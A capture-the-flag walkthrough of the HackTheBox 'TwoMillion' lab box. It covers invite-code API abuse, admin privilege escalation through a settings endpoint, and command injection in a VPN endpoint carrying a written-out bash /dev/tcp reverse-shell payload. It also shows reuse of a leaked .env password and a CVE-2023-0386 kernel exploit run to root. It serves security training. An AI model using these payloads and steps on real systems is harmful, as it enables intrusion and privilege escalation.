Post

HackTheBox TwoMillion

Writeup for HackTheBox TwoMillion

HackTheBox TwoMillion

Machine Synopsis

TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on HackTheBox. The box features an old version of the HackTheBox platform that includes the old hackable invite code. After hacking the invite code an account can be created on the platform. The account can be used to enumerate various API endpoints, one of which can be used to elevate the user to an Administrator. With administrative access the user can perform a command injection in the admin VPN generation endpoint thus gaining a system shell. An .env file is found to contain database credentials and owed to password re-use the attackers can login as user admin on the box. The system kernel is found to be outdated and CVE-2023-0386 can be used to gain a root shell. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sC -sV 10.10.11.221

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
8888/tcp open  http    SimpleHTTPServer 0.6 (Python 3.10.6)
|_http-server-header: SimpleHTTP/0.6 Python/3.10.6
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here is the website.

webpage

Here is the login page.

webpage_login

Here is the page to enter am invite code.

webpage_join

There is an interesting inviteapi.min.js script in the source code of this /invite page.

1
2
3
<!-- scripts -->
<script src="/js/htb-frontend.min.js"></script>
<script defer src="/js/inviteapi.min.js"></script>

Visit http://2million.htb/js/inviteapi.min.js to view the js file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eval(function(p, a, c, k, e, d) {
    e = function(c) {
        return c.toString(36)
    };
    if (!''.replace(/^/, String)) {
        while (c--) {
            d[c.toString(a)] = k[c] || c.toString(a)
        }
        k = [function(e) {
            return d[e]
        }];
        e = function() {
            return '\\w+'
        };
        c = 1
    };
    while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
        }
    }
    return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))

Observe that there is a makeInviteCode() function available. Lets execute that in the browser console on /invite.

makeInviteCode

1
2
data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
enctype: "ROT13"

Decode the cipher in rot13.com.

1
"In order to generate the invite code, make a POST request to /api/v1/invite/generate"

Make a POST request to /api/v1/invite/generate to get our invite code.

1
2
3
4
5
6
7
8
9
$ curl -X POST http://2million.htb/api/v1/invite/generate -s | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=",
    "format": "encoded"
  }
}

Base64 decode the code.

1
2
$ echo "V0E1WEUtTUJCTzEtNFgzQU8tQzhGTzY=" | base64 -d
WA5XE-MBBO1-4X3AO-C8FO6

Fill the the invite code in /invite and it will redirect us to /register.

register

Login to our account after registration.

dashboard

The only webpage interesting was the Lab Access.

dashboard_labaccess

Clicking on Connection Pack shows the following HTTP request.

1
GET /api/v1/user/vpn/generate HTTP/1.1

Clicking on Regenerate shows the following HTTP request.

1
GET /api/v1/user/vpn/regenerate HTTP/1.1

Sent a HTTP request to /api.

GET /api HTTP/1.1

1
2
3
4
5
6
HTTP/1.1 200 OK
Server: nginx
...
{
  "/api/v1": "Version 1 of the API"
}

It shows that version 1 API is available. Sent a HTTP request to /api/v1.

GET /api/v1 HTTP/1.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HTTP/1.1 200 OK
Server: nginx
...
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Tried sending an API GET request to /api/v1/admin/auth but it returned false.

Tried sending an API POST request to /api/v1/admin/vpn/generate but it returned 401 Unauthorized.

Tried sending an API PUT request to and it returned 200 OK with an error message.

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: nginx
...
{
  "status": "danger",
  "message": "Invalid content type."
}

It appears that we need a Content-Type in the HTTP request.

1
2
3
4
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Missing parameter: email"
}

Now we need an email parameter in our HTTP request.

1
2
3
4
5
6
7
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
	"email" : "shiro@2million.htb"
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

Now we need an is_admin paramter.

1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
  "email": "shiro@2million.htb",
  "is_admin": true
}
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Variable is_admin needs to be either 0 or 1."
}

The is_admin parameter only accepts 0 or 1 as value.

1
2
3
4
5
6
7
8
PUT /api/v1/admin/settings/update HTTP/1.1
...
Content-Type: application/json
...
{
  "email": "shiro@2million.htb",
  "is_admin": 1
}
1
2
3
4
5
6
7
HTTP/1.1 200 OK
...
{
  "id": 14,
  "username": "shiro",
  "is_admin": 1
}

Finally we should be admin. We can verify this by sending a GET request to /api/v1/admin/auth, which the server returned “message”:true.

Now that we have admin, we should be able to generate a VPN by sending a POST request to /api/v1/admin/vpn/generate.

1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Invalid content type."
}

It appears that we need a Content-Type in our HTTP request.

1
2
3
4
POST /api/v1/admin/vpn/generate HTTP/1.1
...
Content-Type: application/json
...
1
2
3
4
5
6
HTTP/1.1 200 OK
...
{
  "status": "danger",
  "message": "Missing parameter: username"
}

Now we need a username parameter.

1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
  "username": "shiro"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
...
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
...

We have successfully generated our VPN. However, the VPN generated didn’t look interesting.

Tried checking for simple command injection by adding a ; to break the command, followed by a # to comment out anything after our command.

1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
  "username": "shiro;id #"
}
1
2
3
HTTP/1.1 200 OK
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)

It worked. Leveraged on this to get a reverse shell connection.

1
2
3
4
5
POST /api/v1/admin/vpn/generate HTTP/1.1
...
{
  "username": "shiro;bash -c 'bash -i >& /dev/tcp/$ip/9001 0>&1' #"
}
1
2
3
4
5
6
$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.11.221] 33680
bash: cannot set terminal process group (1178): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ 

Exploitation

Enumerated for interesting files and found a .env file which contained the credentials for admin user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@2million:~/html$ pwd
/var/www/html
www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 May 23 13:20 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 May 23 13:20 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

We could simply switch user to admin with the password found.

1
2
3
4
5
6
www-data@2million:~/html$ su admin
Password: SuperDuperPass123
whoami
admin
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)

Privilege Escalation

SSH into the machine as admin for a stable and interactive shell.

1
2
3
4
5
6
7
ssh admin@10.10.11.221
...
admin@10.10.11.221's password: SuperDuperPass123
...
You have mail.
...
admin@2million:~$ 

Upon logging into SSH, we were greeted with a banner that states You have mail.. The mail can be found at /var/mail.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
admin@2million:~$ cd /var/mail/
admin@2million:/var/mail$ ls
admin
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

It seems to be a message hinting us about some Linux Kernel vulnerability regarding OverlayFS / FUSE.

1
2
3
4
5
6
7
admin@2million:/var/mail$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
admin@2million:/var/mail$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.2 LTS"

This version is vulnerable to CVE-2023-0386. Looking for exploit on GitHub brought us to this repo.

We can download the zip file and transfer it over to the victim machine.

1
2
3
4
$ scp CVE-2023-0386.zip admin@10.10.11.221:/tmp
admin@10.10.11.221's password: 
...
100%

Now we SSH into the machine and find our file in the /tmp folder.

1
2
3
4
5
admin@2million:~$ cd /tmp/
admin@2million:/tmp$ unzip CVE-2023-0386.zip 
admin@2million:/tmp$ cd CVE-2023-0386
admin@2million:/tmp/CVE-2023-0386$ make all
...

Compile the codes with make all and follow the instructions as shown in the GitHub repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc &
[1] 18926
admin@2million:/tmp/CVE-2023-0386$ [+] len of gc: 0x3ee0
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
[+] readdir
[+] getattr_callback
/file
total 8
drwxrwxr-x 1 root   root     4096 May 23 13:54 .
drwxrwxr-x 6 root   root     4096 May 23 13:54 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/CVE-2023-0386#

There was a thank_you.json at /root. You can find the decoded text here.

This post is licensed under CC BY 4.0 by the author.